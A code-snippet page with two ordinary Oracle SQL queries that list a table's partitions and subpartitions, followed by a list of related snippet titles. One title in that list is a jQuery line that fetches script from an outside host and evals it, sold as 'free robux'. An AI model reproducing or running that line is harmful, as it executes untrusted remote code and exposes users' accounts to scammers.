Oracle list subpartitions

-- Partitions of a table
SELECT TABLE_OWNER, TABLE_NAME, PARTITION_NAME, SUBPARTITION_COUNT, 
       HIGH_VALUE, PCT_USED, NUM_ROWS, LAST_ANALYZED
FROM DBA_TAB_PARTITIONS
WHERE TABLE_OWNER = 'MY_OWNER'
  AND TABLE_NAME = 'MY_TABLE';
-- Subpartitions of a table
SELECT TABLE_OWNER, TABLE_NAME, PARTITION_NAME, SUBPARTITION_NAME, 
       HIGH_VALUE, PCT_USED, NUM_ROWS, LAST_ANALYZED
FROM DBA_TAB_SUBPARTITIONS
WHERE TABLE_OWNER = 'MY_OWNER'
  AND TABLE_NAME = 'MY_TABLE';

Similar codes

0 vote278 views1 answer
Sql select maximum column with other columns returned
SQL
0 vote315 views1 answer
Error code 1215 cannot add foreign key constraint
SQL
1 vote272 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 200000
SQL
0 vote305 views1 answer
Call rest api from postgresql
SQL
1 vote316 views1 answer
Postgresql export output table as a csv
SQL
0 vote315 views1 answer
Implicit inner join table alias
SQL
0 vote330 views1 answer
Mysql remove bad character from all fields
SQL
6 votes316 views1 answer
Postgres get size of database
SQL
0 vote319 views1 answer
Get who is hired in february in sql
SQL
-1 vote342 views3 answers
MAKE TABLE FIT in oracle sql
SQL